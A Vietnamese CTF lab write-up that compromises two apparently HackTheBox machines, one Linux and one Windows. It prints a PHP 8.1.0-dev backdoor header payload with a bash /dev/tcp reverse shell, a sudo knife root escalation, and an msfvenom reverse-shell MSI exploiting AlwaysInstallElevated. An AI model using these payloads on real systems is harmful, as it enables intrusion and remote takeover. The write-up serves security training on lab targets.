# Privilege Escalation in Linux
## Recon
### nmap
Sau khi nmap ta thấy nó scan được **2** port ssh và http
```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -n 10.10.10.242
[sudo] password for kali:
Sorry, try again.
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 10:52 EDT
Nmap scan report for 10.10.10.242
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 3.87 seconds
```
Từ đây, ta sẽ scan tiếp 2 port này xem có gì để khai thác
```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p22,80 -sCV 10.10.10.242
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 10:55 EDT
Nmap scan report for 10.10.10.242
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.78 seconds
```
### Wappalyzer

Từ công cụ này ta biết được web này sử dụng PHP với phiên bản **8.1.0**. Đây là phiên bản có lỗ hổng nghiêm trọng dẫn đến [RCE](https://www.exploit-db.com/exploits/49933) ở header **User-Agent**

### BurpSuite
Khi dùng Burp ta cũng có thể thấy được phiên bản đầy đủ của nó là gì

**PHP 8.1.0-dev** version được phát hành có backdoor. Nếu phiên bản PHP này chạy trên máy chủ, attacker có thể thực thi code tùy ý bằng cách gửi header **User-Agentt**.
Hai commits độc hại đã được push tới kho lưu trữ code PHP
Trong các commit độc hại, attacker đã lợi dụng “sửa lỗi đánh máy”

Khi nhìn vào dòng 370 được thêm vào trong đó hàm `zend_eval_string` được gọi, code này thực sự tạo ra một backdoor để có được RCE dễ dàng trên web. Dòng này thực thi code PHP từ bên trong header HTTP của useragent, nếu chuỗi bắt đầu bằng ‘zerodium’.
## User flag
### Header injection and Reverseshell
Ta gửi request bằng Burp với header `User-Agentt`
```
User-Agentt: zerodium system("whoami");
```

Response cho thấy nó đã thực sự thực thi lệnh `whoami`
Tạo payload reverseshell sau đó mở port để nghe
```
User-Agentt: zerodium system("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.93/1234 0>&1'");
```

`whoami` biết được tên user là **james**
```
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.93] from (UNKNOWN) [10.10.10.242] 48812
whoami
james
cat /home/james/user.txt
267f08275103f86a4af08106f886a
```
## Root flag
### sudo -l
List các quyền mà người dùng hiện tại có thể thực thi thông qua `sudo` bằng option sau
```
sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
```
Output cho thấy user hiện tại (`james`) có thể chạy lệnh thực thi `knife` dưới quyền sudo
> knife là một công cụ quản lý cấu hình, tự động hóa và triển khai hệ thống. Nó cho phép quản trị viên và DevOps tương tác với Chef Server để quản lý: node, cookbook, recipe, role, environment, data bag…
[GTFOBins](https://gtfobins.github.io/gtfobins/knife/#sudo) cung cấp cho ta thấy `knife` có thể bị lợi dụng để leo quyền
> GTFOBins tổng hợp các binary, script và công cụ hợp pháp có sẵn trên Linux/Unix mà attacker có thể lợi dụng để leo thang đặc quyền

Chạy lệnh sau
```
sudo knife exec -E 'exec "/bin/sh"'
whoami
root
```
Từ đây pwn máy bằng cách đọc file `root.txt`
```
cat /root/root.txt
3dd90c5f868adca9b******
```
# Privilege Escalation in Windows
## Recon
### nmap
Nmap scan được 7 port http, https và của smb
```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -n -sS 10.10.10.239
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-03 03:17 EDT
Nmap scan report for 10.10.10.239
Host is up (0.23s latency).
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
3306/tcp open mysql
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds
```
Scan tiếp các port này xem có gì để khai thác
```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sCV -n -p80,135,139,443,445,3306,5000 10.10.10.239
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-03 03:38 EDT
Nmap scan report for 10.10.10.239
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Voting System using PHP
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '10.10.14.93' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=8/3%Time=66ADDE90%P=x86_64-pc-linux-gnu%r(
SF:NULL,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.93'\x20is\x20not\x20all
SF:owed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 21m31s, deviation: 0s, median: 21m31s
| smb2-time:
| date: 2024-08-03T08:00:43
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.79 seconds
```
### Port 80 - http
Sử dụng port 80 thì nó ra trang login này

Dùng gobuster scan cũng không mấy khả quan trong đó có duy nhất 1 path truy cập được đó là `/admin`
```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u 10.10.10.239 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.239
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 338] [--> http://10.10.10.239/images/]
/Images (Status: 301) [Size: 338] [--> http://10.10.10.239/Images/]
/admin (Status: 301) [Size: 337] [--> http://10.10.10.239/admin/]
/plugins (Status: 301) [Size: 339] [--> http://10.10.10.239/plugins/]
/includes (Status: 301) [Size: 340] [--> http://10.10.10.239/includes/]
/examples (Status: 503) [Size: 402]
/dist (Status: 301) [Size: 336] [--> http://10.10.10.239/dist/]
/licenses (Status: 403) [Size: 421]
/IMAGES (Status: 301) [Size: 338] [--> http://10.10.10.239/IMAGES/]
/%20 (Status: 403) [Size: 302]
Progress: 5875 / 220561 (2.66%)[ERROR] Get "http://10.10.10.239/nav_contact": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 5964 / 220561 (2.70%)[ERROR] Get "http://10.10.10.239/ex": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 6066 / 220561 (2.75%)[ERROR] Get "http://10.10.10.239/philanthropy": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/Admin (Status: 301) [Size: 337] [--> http://10.10.10.239/Admin/]
/*checkout* (Status: 403) [Size: 302]
/Plugins (Status: 301) [Size: 339] [--> http://10.10.10.239/Plugins/]
/phpmyadmin (Status: 403) [Size: 302]
/webalizer (Status: 403) [Size: 302]
/*docroot* (Status: 403) [Size: 302]
/* (Status: 403) [Size: 302]
<SNIP>
```

Có điều thú vị khi login với user `admin` nó sẽ trả về error như trên nhưng với random user thì nó lại trả về error khác. Điều này nghĩ đến việc brute-force password

Tiếp tục treo và chuyển qua các port khác
### Port 443 - https
Sau khi scan nmap ở trên, ta có được một subdomain `staging.love.htb` từ việc trích xuất SSL-cert

### Port 445 - smb
Ta sẽ kiểm tra xem máy chủ này có shared folder nào không
```
┌──(kali㉿kali)-[~]
└─$ smbclient -N -L //10.10.10.239
session setup failed: NT_STATUS_ACCESS_DENIED
```
Lỗi này trả về có nghĩa là không có quyền truy cập
### Port 3306 - mysql
Cố gắng kết nối đến mysql nhưng nó cũng không có quyền truy cập
```
┌──(kali㉿kali)-[~]
└─$ mysql -h 10.10.10.239
ERROR 1130 (HY000): Host '10.10.14.93' is not allowed to connect to this MariaDB server
```
### Port 5000 - upnp
UPnP là một giao thức mạng (hay thực tế là một bộ các giao thức mạng). Các giao thức này phác thảo một phương thức giao tiếp cụ thể mà mọi loại thiết bị có thể sử dụng để liên lạc ngay lập tức với nhau trên mạng. Một số interface kiểm soát UPnP có thể được hiển thị với Internet công cộng, cho phép kẻ xấu tìm và truy cập vào những thiết bị riêng tư
Vì thế nên một port dễ có lỗ hổng như thế này có khả năng trở thanh mục tiêu khai thác vào

## User flag
### SSRF
Như đã recon ở trên cùng với việc trang web có tính năng `Fetch URL` ta có thể nghĩ đến việc khai thác SSRF

Có được credential login vào admin

Quay lại `/admin`

### File Upload to RCE
Trang web này có một số tính năng như thêm, tìm kiếm nhưng không khai thác được gì trong đó đặc biệt là việc upload file nhưng không hề bị chặn khi up các file như webshell

Vậy là RCE thành công


## Root flag
Lợi dụng việc có thể tùy ý upload file lên server, ta sẽ tiếp tục up các file độc lên server. Trong đó cần 1 [revershell](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php)

Sau khi chạy file ta sẽ thây cả cac file đã được upload lên trươc đó

### winPEASx64.exe
Với tool này, sẽ check các chỗ có thể leo quyền

```
C:\xampp\htdocs\omrs\images>Powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\xampp\htdocs\omrs\images> ./winPEASx64.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and
<SNIP>
```

Output trên cho thấy giá trị registry `AlwaysInstallElevated` được đặt bằng `1` trong cả HKLM và HKCU thì mọi user có thể cài đặt file `.msi` (Windows Installer package) với quyền SYSTEM.
Điều này có nghĩa là một người dùng thông thường có thể leo quyền thành SYSTEM bằng cách tạo và chạy một file `.msi` độc hại
### Msfvenom
Các file cài đặt Windows (còn được gọi là `.msi`) được sử dụng để cài đặt các ứng dụng trên hệ thống. Chúng thường chạy với cấp đặc quyền của người dùng khởi động nó. Tuy nhiên, chúng có thể được cấu hình để chạy với đặc quyền cao hơn từ bất kỳ tài khoản người dùng nào (ngay cả những tài khoản không có đặc quyền). Điều này có khả năng cho phép chúng ta tạo một file `.msi` độc hại chạy với đặc quyền của admin.
Tạo file `.msi` độc bằng cách sử dụng msfvenom
```
┌──(kali㉿kali)-[~/Downloads]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.93 LPORT=1414 -f msi -o malicious.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: malicious.msi
```
Chạy trình cài đặt bằng lệnh bên dưới và nhận reverse shell:
```
C:\xampp\htdocs\omrs\images>msiexec /quiet /qn /i C:\xampp\htdocs\omrs\images\malicious.msi
```

Sử dụng lệnh cuối để lấy được flag
```
C:\WINDOWS\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
5ef49ca9ed215c3a3a3bdb8f9f225363
```